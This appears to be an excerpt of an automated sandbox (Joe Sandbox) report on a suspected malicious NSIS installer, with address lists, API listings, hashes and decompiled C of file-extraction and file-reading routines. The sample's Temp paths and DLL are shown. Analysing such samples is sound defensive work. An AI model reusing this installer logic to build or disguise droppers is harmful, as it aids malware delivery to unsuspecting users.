                                                                                                                0x0040346a
                                                                                                                0x004034ad
                                                                                                                0x004034af
                                                                                                                0x004034af
                                                                                                                0x004034bb
                                                                                                                0x004034c2
                                                                                                                0x004034c5
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004034bb
                                                                                                                0x0040346f
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403471
                                                                                                                0x00403474
                                                                                                                0x00403477
                                                                                                                0x0040347a
                                                                                                                0x0040347c
                                                                                                                0x0040347c
                                                                                                                0x0040348c
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403493
                                                                                                                0x0040349a
                                                                                                                0x00403464
                                                                                                                0x00403464
                                                                                                                0x004034bf
                                                                                                                0x004034bf
                                                                                                                0x00000000
                                                                                                                0x004034bf
                                                                                                                0x0040349c
                                                                                                                0x0040349f
                                                                                                                0x004034a6
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004034a8
                                                                                                                0x00000000
                                                                                                                0x00403474
                                                                                                                0x0040331e
                                                                                                                0x00403320
                                                                                                                0x00403327
                                                                                                                0x0040332e
                                                                                                                0x0040332e
                                                                                                                0x00403335
                                                                                                                0x0040333d
                                                                                                                0x00403347
                                                                                                                0x0040334c
                                                                                                                0x00403354
                                                                                                                0x0040335e
                                                                                                                0x00403361
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403367
                                                                                                                0x00403367
                                                                                                                0x00403367
                                                                                                                0x0040336f
                                                                                                                0x00403371
                                                                                                                0x00403371
                                                                                                                0x00403382
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403388
                                                                                                                0x0040338b
                                                                                                                0x00403391
                                                                                                                0x00403397
                                                                                                                0x00403397
                                                                                                                0x004033a2
                                                                                                                0x004033a8
                                                                                                                0x004033ad
                                                                                                                0x004033b4
                                                                                                                0x004033b7
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004033bd
                                                                                                                0x004033c3
                                                                                                                0x004033c5
                                                                                                                0x004033ce
                                                                                                                0x004033d0
                                                                                                                0x00403401
                                                                                                                0x00403407
                                                                                                                0x00403413
                                                                                                                0x00403418
                                                                                                                0x00403418
                                                                                                                0x0040341d
                                                                                                                0x00403458
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040341f
                                                                                                                0x00403423
                                                                                                                0x0040343a
                                                                                                                0x0040343f
                                                                                                                0x00403442
                                                                                                                0x00403445
                                                                                                                0x00403448
                                                                                                                0x0040344c
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403452
                                                                                                                0x0040342c
                                                                                                                0x00403433
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403435
                                                                                                                0x00000000
                                                                                                                0x00403435
                                                                                                                0x0040341d
                                                                                                                0x00403460
                                                                                                                0x00000000
                                                                                                                0x00403460
                                                                                                                0x00000000
                                                                                                                0x00403367

                                                                                                                APIs
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CountTick$wsprintf
                                                                                                                • String ID: *B$ ZB$ A$ A$... %d%%$}8@
                                                                                                                • API String ID: 551687249-3683892814
                                                                                                                • Opcode ID: d1cfd4714e4687a3a26bd4ac3846c46955ae89f51795138bd42b88bfc39313c7
                                                                                                                • Instruction ID: 54ab186c05730647c672001b6e56d135182c7b51176e178f40f708a1e84a381e
                                                                                                                • Opcode Fuzzy Hash: d1cfd4714e4687a3a26bd4ac3846c46955ae89f51795138bd42b88bfc39313c7
                                                                                                                • Instruction Fuzzy Hash: E251BD31810219EBCF11DF65DA44B9E7BB8AF05756F10827BE804BB2C1D7789E44CBA9
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 919 40176f-401794 call 402da6 call 405e83 924 401796-40179c call 40653d 919->924 925 40179e-4017b0 call 40653d call 405e0c lstrcatW 919->925 931 4017b5-4017b6 call 4067c4 924->931 925->931 934 4017bb-4017bf 931->934 935 4017c1-4017cb call 406873 934->935 936 4017f2-4017f5 934->936 944 4017dd-4017ef 935->944 945 4017cd-4017db CompareFileTime 935->945 938 4017f7-4017f8 call 406008 936->938 939 4017fd-401819 call 40602d 936->939 938->939 946 40181b-40181e 939->946 947 40188d-4018b6 call 40559f call 4032b4 939->947 944->936 945->944 948 401820-40185e call 40653d * 2 call 40657a call 40653d call 405b9d 946->948 949 40186f-401879 call 40559f 946->949 961 4018b8-4018bc 947->961 962 4018be-4018ca SetFileTime 947->962 948->934 981 401864-401865 948->981 959 401882-401888 949->959 963 402c33 959->963 961->962 965 4018d0-4018db CloseHandle 961->965 962->965 966 402c35-402c39 963->966 968 4018e1-4018e4 965->968 969 402c2a-402c2d 965->969 971 4018e6-4018f7 call 40657a lstrcatW 968->971 972 4018f9-4018fc call 40657a 968->972 969->963 977 401901-4023a2 call 405b9d 971->977 972->977 977->966 981->959 984 401867-401868 981->984 984->949
                                                                                                                C-Code - Quality: 75%
                                                                                                                			E0040176F(FILETIME* __ebx, void* __eflags) {
                                                                                                                				void* __esi;
                                                                                                                				void* _t35;
                                                                                                                				void* _t43;
                                                                                                                				void* _t45;
                                                                                                                				FILETIME* _t51;
                                                                                                                				FILETIME* _t64;
                                                                                                                				void* _t66;
                                                                                                                				signed int _t72;
                                                                                                                				FILETIME* _t73;
                                                                                                                				FILETIME* _t77;
                                                                                                                				signed int _t79;
                                                                                                                				WCHAR* _t81;
                                                                                                                				void* _t83;
                                                                                                                				void* _t84;
                                                                                                                				void* _t86;
                                                                                                                
                                                                                                                				_t77 = __ebx;
                                                                                                                				 *(_t86 - 8) = E00402DA6(0x31);
                                                                                                                				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
                                                                                                                				_t35 = E00405E83( *(_t86 - 8));
                                                                                                                				_push( *(_t86 - 8));
                                                                                                                				_t81 = L"Call";
                                                                                                                				if(_t35 == 0) {
                                                                                                                					lstrcatW(E00405E0C(E0040653D(_t81, L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Buildup\\Skaldedes\\digestedness\\Befarnes")), ??);
                                                                                                                				} else {
                                                                                                                					E0040653D();
                                                                                                                				}
                                                                                                                				E004067C4(_t81);
                                                                                                                				while(1) {
                                                                                                                					__eflags =  *(_t86 + 8) - 3;
                                                                                                                					if( *(_t86 + 8) >= 3) {
                                                                                                                						_t66 = E00406873(_t81);
                                                                                                                						_t79 = 0;
                                                                                                                						__eflags = _t66 - _t77;
                                                                                                                						if(_t66 != _t77) {
                                                                                                                							_t73 = _t66 + 0x14;
                                                                                                                							__eflags = _t73;
                                                                                                                							_t79 = CompareFileTime(_t73, _t86 - 0x24);
                                                                                                                						}
                                                                                                                						asm("sbb eax, eax");
                                                                                                                						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
                                                                                                                						__eflags = _t72;
                                                                                                                						 *(_t86 + 8) = _t72;
                                                                                                                					}
                                                                                                                					__eflags =  *(_t86 + 8) - _t77;
                                                                                                                					if( *(_t86 + 8) == _t77) {
                                                                                                                						E00406008(_t81);
                                                                                                                					}
                                                                                                                					__eflags =  *(_t86 + 8) - 1;
                                                                                                                					_t43 = E0040602D(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
                                                                                                                					__eflags = _t43 - 0xffffffff;
                                                                                                                					 *(_t86 - 0x38) = _t43;
                                                                                                                					if(_t43 != 0xffffffff) {
                                                                                                                						break;
                                                                                                                					}
                                                                                                                					__eflags =  *(_t86 + 8) - _t77;
                                                                                                                					if( *(_t86 + 8) != _t77) {
                                                                                                                						E0040559F(0xffffffe2,  *(_t86 - 8));
                                                                                                                						__eflags =  *(_t86 + 8) - 2;
                                                                                                                						if(__eflags == 0) {
                                                                                                                							 *((intOrPtr*)(_t86 - 4)) = 1;
                                                                                                                						}
                                                                                                                						L31:
                                                                                                                						 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t86 - 4));
                                                                                                                						__eflags =  *0x434f88;
                                                                                                                						goto L32;
                                                                                                                					} else {
                                                                                                                						E0040653D("C:\Users\Arthur\AppData\Local\Temp\nsu6C45.tmp", _t83);
                                                                                                                						E0040653D(_t83, _t81);
                                                                                                                						E0040657A(_t77, _t81, _t83, "C:\Users\Arthur\AppData\Local\Temp\nsu6C45.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x1c)));
                                                                                                                						E0040653D(_t83, "C:\Users\Arthur\AppData\Local\Temp\nsu6C45.tmp");
                                                                                                                						_t64 = E00405B9D("C:\Users\Arthur\AppData\Local\Temp\nsu6C45.tmp\System.dll",  *(_t86 - 0x30) >> 3) - 4;
                                                                                                                						__eflags = _t64;
                                                                                                                						if(_t64 == 0) {
                                                                                                                							continue;
                                                                                                                						} else {
                                                                                                                							__eflags = _t64 == 1;
                                                                                                                							if(_t64 == 1) {
                                                                                                                								 *0x434f88 =  &( *0x434f88->dwLowDateTime);
                                                                                                                								L32:
                                                                                                                								_t51 = 0;
                                                                                                                								__eflags = 0;
                                                                                                                							} else {
                                                                                                                								_push(_t81);
                                                                                                                								_push(0xfffffffa);
                                                                                                                								E0040559F();
                                                                                                                								L29:
                                                                                                                								_t51 = 0x7fffffff;
                                                                                                                							}
                                                                                                                						}
                                                                                                                					}
                                                                                                                					L33:
                                                                                                                					return _t51;
                                                                                                                				}
                                                                                                                				E0040559F(0xffffffea,  *(_t86 - 8));
                                                                                                                				 *0x434fb4 =  *0x434fb4 + 1;
                                                                                                                				_t45 = E004032B4( *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
                                                                                                                				 *0x434fb4 =  *0x434fb4 - 1;
                                                                                                                				__eflags =  *(_t86 - 0x24) - 0xffffffff;
                                                                                                                				_t84 = _t45;
                                                                                                                				if( *(_t86 - 0x24) != 0xffffffff) {
                                                                                                                					L22:
                                                                                                                					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
                                                                                                                				} else {
                                                                                                                					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
                                                                                                                					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
                                                                                                                						goto L22;
                                                                                                                					}
                                                                                                                				}
                                                                                                                				CloseHandle( *(_t86 - 0x38)); // executed
                                                                                                                				__eflags = _t84 - _t77;
                                                                                                                				if(_t84 >= _t77) {
                                                                                                                					goto L31;
                                                                                                                				} else {
                                                                                                                					__eflags = _t84 - 0xfffffffe;
                                                                                                                					if(_t84 != 0xfffffffe) {
                                                                                                                						E0040657A(_t77, _t81, _t84, _t81, 0xffffffee);
                                                                                                                					} else {
                                                                                                                						E0040657A(_t77, _t81, _t84, _t81, 0xffffffe9);
                                                                                                                						lstrcatW(_t81,  *(_t86 - 8));
                                                                                                                					}
                                                                                                                					_push(0x200010);
                                                                                                                					_push(_t81);
                                                                                                                					E00405B9D();
                                                                                                                					goto L29;
                                                                                                                				}
                                                                                                                				goto L33;
                                                                                                                			}


















                                                                                                                0x0040176f
                                                                                                                0x00401776
                                                                                                                0x00401782
                                                                                                                0x00401785
                                                                                                                0x0040178a
                                                                                                                0x0040178d
                                                                                                                0x00401794
                                                                                                                0x004017b0
                                                                                                                0x00401796
                                                                                                                0x00401797
                                                                                                                0x00401797
                                                                                                                0x004017b6
                                                                                                                0x004017bb
                                                                                                                0x004017bb
                                                                                                                0x004017bf
                                                                                                                0x004017c2
                                                                                                                0x004017c7
                                                                                                                0x004017c9
                                                                                                                0x004017cb
                                                                                                                0x004017d0
                                                                                                                0x004017d0
                                                                                                                0x004017db
                                                                                                                0x004017db
                                                                                                                0x004017ec
                                                                                                                0x004017ee
                                                                                                                0x004017ee
                                                                                                                0x004017ef
                                                                                                                0x004017ef
                                                                                                                0x004017f2
                                                                                                                0x004017f5
                                                                                                                0x004017f8
                                                                                                                0x004017f8
                                                                                                                0x004017ff
                                                                                                                0x0040180e
                                                                                                                0x00401813
                                                                                                                0x00401816
                                                                                                                0x00401819
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040181b
                                                                                                                0x0040181e
                                                                                                                0x00401874
                                                                                                                0x00401879
                                                                                                                0x004015b6
                                                                                                                0x0040292e
                                                                                                                0x0040292e
                                                                                                                0x00402c2a
                                                                                                                0x00402c2d
                                                                                                                0x00402c2d
                                                                                                                0x00000000
                                                                                                                0x00401820
                                                                                                                0x00401826
                                                                                                                0x0040182d
                                                                                                                0x0040183a
                                                                                                                0x00401845
                                                                                                                0x0040185b
                                                                                                                0x0040185b
                                                                                                                0x0040185e
                                                                                                                0x00000000
                                                                                                                0x00401864
                                                                                                                0x00401864
                                                                                                                0x00401865
                                                                                                                0x00401882
                                                                                                                0x00402c33
                                                                                                                0x00402c33
                                                                                                                0x00402c33
                                                                                                                0x00401867
                                                                                                                0x00401867
                                                                                                                0x00401868
                                                                                                                0x00401493
                                                                                                                0x0040239d
                                                                                                                0x0040239d
                                                                                                                0x0040239d
                                                                                                                0x00401865
                                                                                                                0x0040185e
                                                                                                                0x00402c35
                                                                                                                0x00402c39
                                                                                                                0x00402c39
                                                                                                                0x00401892
                                                                                                                0x00401897
                                                                                                                0x004018a5
                                                                                                                0x004018aa
                                                                                                                0x004018b0
                                                                                                                0x004018b4
                                                                                                                0x004018b6
                                                                                                                0x004018be
                                                                                                                0x004018ca
                                                                                                                0x004018b8
                                                                                                                0x004018b8
                                                                                                                0x004018bc
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004018bc
                                                                                                                0x004018d3
                                                                                                                0x004018d9
                                                                                                                0x004018db
                                                                                                                0x00000000
                                                                                                                0x004018e1
                                                                                                                0x004018e1
                                                                                                                0x004018e4
                                                                                                                0x004018fc
                                                                                                                0x004018e6
                                                                                                                0x004018e9
                                                                                                                0x004018f2
                                                                                                                0x004018f2
                                                                                                                0x00401901
                                                                                                                0x00401906
                                                                                                                0x00402398
                                                                                                                0x00000000
                                                                                                                0x00402398
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
                                                                                                                • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes\digestedness\Befarnes,?,?,00000031), ref: 004017D5
                                                                                                                  • Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A
                                                                                                                  • Part of subcall function 0040559F: lstrlenW.KERNEL32(0042C248,00000000,00425A20,765723A0,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
                                                                                                                  • Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,0042C248,00000000,00425A20,765723A0,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
                                                                                                                  • Part of subcall function 0040559F: lstrcatW.KERNEL32(0042C248,00403418), ref: 004055FA
                                                                                                                  • Part of subcall function 0040559F: SetWindowTextW.USER32(0042C248,0042C248), ref: 0040560C
                                                                                                                  • Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
                                                                                                                  • Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
                                                                                                                  • Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                                                                                • String ID: C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes\digestedness\Befarnes$C:\Users\user\AppData\Local\Temp\nsu6C45.tmp$C:\Users\user\AppData\Local\Temp\nsu6C45.tmp\System.dll$Call
                                                                                                                • API String ID: 1941528284-2228115399
                                                                                                                • Opcode ID: 3dea8835135b3834e701fe10f85874e2ee0770673dec5a47873efbfea76d0da0
                                                                                                                • Instruction ID: 1e3f5e060805a06bac003644be00ba5f3fef1f2c353f2d3d357c0a6c5ca497fd
                                                                                                                • Opcode Fuzzy Hash: 3dea8835135b3834e701fe10f85874e2ee0770673dec5a47873efbfea76d0da0
                                                                                                                • Instruction Fuzzy Hash: F4419371900108BACF11BFB5DD85DAE7A79EF45768B20423FF422B10E2D63C8A91966D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 985 4026ec-402705 call 402d84 988 402c2a-402c2d 985->988 989 40270b-402712 985->989 992 402c33-402c39 988->992 990 402714 989->990 991 402717-40271a 989->991 990->991 993 402720-40272f call 40649d 991->993 994 40287e-402886 991->994 993->994 998 402735 993->998 994->988 999 40273b-40273f 998->999 1000 4027d4-4027d7 999->1000 1001 402745-402760 ReadFile 999->1001 1002 4027d9-4027dc 1000->1002 1003 4027ef-4027ff call 4060b0 1000->1003 1001->994 1004 402766-40276b 1001->1004 1002->1003 1005 4027de-4027e9 call 40610e 1002->1005 1003->994 1014 402801 1003->1014 1004->994 1007 402771-40277f 1004->1007 1005->994 1005->1003 1010 402785-402797 MultiByteToWideChar 1007->1010 1011 40283a-402846 call 406484 1007->1011 1010->1014 1015 402799-40279c 1010->1015 1011->992 1017 402804-402807 1014->1017 1018 40279e-4027a9 1015->1018 1017->1011 1020 402809-40280e 1017->1020 1018->1017 1019 4027ab-4027d0 SetFilePointer MultiByteToWideChar 1018->1019 1019->1018 1021 4027d2 1019->1021 1022 402810-402815 1020->1022 1023 40284b-40284f 1020->1023 1021->1014 1022->1023 1026 402817-40282a 1022->1026 1024 402851-402855 1023->1024 1025 40286c-402878 SetFilePointer 1023->1025 1027 402857-40285b 1024->1027 1028 40285d-40286a 1024->1028 1025->994 1026->994 1029 40282c-402832 1026->1029 1027->1025 1027->1028 1028->994 1029->999 1030 402838 1029->1030 1030->994
                                                                                                                C-Code - Quality: 87%
                                                                                                                			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
                                                                                                                				intOrPtr _t65;
                                                                                                                				intOrPtr _t66;
                                                                                                                				intOrPtr _t72;
                                                                                                                				void* _t76;
                                                                                                                				void* _t79;
                                                                                                                
                                                                                                                				_t72 = __edx;
                                                                                                                				 *((intOrPtr*)(_t76 - 8)) = __ebx;
                                                                                                                				_t65 = 2;
                                                                                                                				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
                                                                                                                				_t66 = E00402D84(_t65);
                                                                                                                				_t79 = _t66 - 1;
                                                                                                                				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
                                                                                                                				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
                                                                                                                				if(_t79 < 0) {
                                                                                                                					L36:
                                                                                                                					 *0x434f88 =  *0x434f88 +  *(_t76 - 4);
                                                                                                                				} else {
                                                                                                                					__ecx = 0x3ff;
                                                                                                                					if(__eax > 0x3ff) {
                                                                                                                						 *(__ebp - 0x44) = 0x3ff;
                                                                                                                					}
                                                                                                                					if( *__edi == __bx) {
                                                                                                                						L34:
                                                                                                                						__ecx =  *(__ebp - 0xc);
                                                                                                                						__eax =  *(__ebp - 8);
                                                                                                                						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
                                                                                                                						if(_t79 == 0) {
                                                                                                                							 *(_t76 - 4) = 1;
                                                                                                                						}
                                                                                                                						goto L36;
                                                                                                                					} else {
                                                                                                                						 *(__ebp - 0x38) = __ebx;
                                                                                                                						 *(__ebp - 0x18) = E0040649D(__ecx, __edi);
                                                                                                                						if( *(__ebp - 0x44) > __ebx) {
                                                                                                                							do {
                                                                                                                								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
                                                                                                                									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E0040610E( *(__ebp - 0x18), __ebx) >= 0) {
                                                                                                                										__eax = __ebp - 0x50;
                                                                                                                										if(E004060B0( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
                                                                                                                											goto L34;
                                                                                                                										} else {
                                                                                                                											goto L21;
                                                                                                                										}
                                                                                                                									} else {
                                                                                                                										goto L34;
                                                                                                                									}
                                                                                                                								} else {
                                                                                                                									__eax = __ebp - 0x40;
                                                                                                                									_push(__ebx);
                                                                                                                									_push(__ebp - 0x40);
                                                                                                                									__eax = 2;
                                                                                                                									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
                                                                                                                									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??); // executed
                                                                                                                									if(__eax == 0) {
                                                                                                                										goto L34;
                                                                                                                									} else {
                                                                                                                										__ecx =  *(__ebp - 0x40);
                                                                                                                										if(__ecx == __ebx) {
                                                                                                                											goto L34;
                                                                                                                										} else {
                                                                                                                											__ax =  *(__ebp + 0xa) & 0x000000ff;
                                                                                                                											 *(__ebp - 0x4c) = __ecx;
                                                                                                                											 *(__ebp - 0x50) = __eax;
                                                                                                                											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
                                                                                                                												L28:
                                                                                                                												__ax & 0x0000ffff = E00406484( *(__ebp - 0xc), __ax & 0x0000ffff);
                                                                                                                											} else {
                                                                                                                												__ebp - 0x50 = __ebp + 0xa;
                                                                                                                												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
                                                                                                                													L21:
                                                                                                                													__eax =  *(__ebp - 0x50);
                                                                                                                												} else {
                                                                                                                													__edi =  *(__ebp - 0x4c);
                                                                                                                													__edi =  ~( *(__ebp - 0x4c));
                                                                                                                													while(1) {
                                                                                                                														_t22 = __ebp - 0x40;
                                                                                                                														 *_t22 =  *(__ebp - 0x40) - 1;
                                                                                                                														__eax = 0xfffd;
                                                                                                                														 *(__ebp - 0x50) = 0xfffd;
                                                                                                                														if( *_t22 == 0) {
                                                                                                                															goto L22;
                                                                                                                														}
                                                                                                                														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
                                                                                                                														__edi = __edi + 1;
                                                                                                                														__eax = SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1); // executed
                                                                                                                														__ebp - 0x50 = __ebp + 0xa;
                                                                                                                														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
                                                                                                                															continue;
                                                                                                                														} else {
                                                                                                                															goto L21;
                                                                                                                														}
                                                                                                                														goto L22;
                                                                                                                													}
                                                                                                                												}
                                                                                                                												L22:
                                                                                                                												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
                                                                                                                													goto L28;
                                                                                                                												} else {
                                                                                                                													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
                                                                                                                														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
                                                                                                                															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
                                                                                                                															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
                                                                                                                														} else {
                                                                                                                															__ecx =  *(__ebp - 0xc);
                                                                                                                															__edx =  *(__ebp - 8);
                                                                                                                															 *(__ebp - 8) =  *(__ebp - 8) + 1;
                                                                                                                															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
                                                                                                                														}
                                                                                                                														goto L34;
                                                                                                                													} else {
                                                                                                                														__ecx =  *(__ebp - 0xc);
                                                                                                                														__edx =  *(__ebp - 8);
                                                                                                                														 *(__ebp - 8) =  *(__ebp - 8) + 1;
                                                                                                                														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
                                                                                                                														 *(__ebp - 0x38) = __eax;
                                                                                                                														if(__ax == __bx) {
                                                                                                                															goto L34;
                                                                                                                														} else {
                                                                                                                															goto L26;
                                                                                                                														}
                                                                                                                													}
                                                                                                                												}
                                                                                                                											}
                                                                                                                										}
                                                                                                                									}
                                                                                                                								}
                                                                                                                								goto L37;
                                                                                                                								L26:
                                                                                                                								__eax =  *(__ebp - 8);
                                                                                                                							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
                                                                                                                						}
                                                                                                                						goto L34;
                                                                                                                					}
                                                                                                                				}
                                                                                                                				L37:
                                                                                                                				return 0;
                                                                                                                			}








                                                                                                                0x004026ec
                                                                                                                0x004026ee
                                                                                                                0x004026f1
                                                                                                                0x004026f3
                                                                                                                0x004026f6
                                                                                                                0x004026fb
                                                                                                                0x004026ff
                                                                                                                0x00402702
                                                                                                                0x00402705
                                                                                                                0x00402c2a
                                                                                                                0x00402c2d
                                                                                                                0x0040270b
                                                                                                                0x0040270b
                                                                                                                0x00402712
                                                                                                                0x00402714
                                                                                                                0x00402714
                                                                                                                0x0040271a
                                                                                                                0x0040287e
                                                                                                                0x0040287e
                                                                                                                0x00402881
                                                                                                                0x00402886
                                                                                                                0x004015b6
                                                                                                                0x0040292e
                                                                                                                0x0040292e
                                                                                                                0x00000000
                                                                                                                0x00402720
                                                                                                                0x00402721
                                                                                                                0x0040272c
                                                                                                                0x0040272f
                                                                                                                0x0040273b
                                                                                                                0x0040273f
                                                                                                                0x004027d7
                                                                                                                0x004027ef
                                                                                                                0x004027ff
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00402745
                                                                                                                0x00402745
                                                                                                                0x00402748
                                                                                                                0x00402749
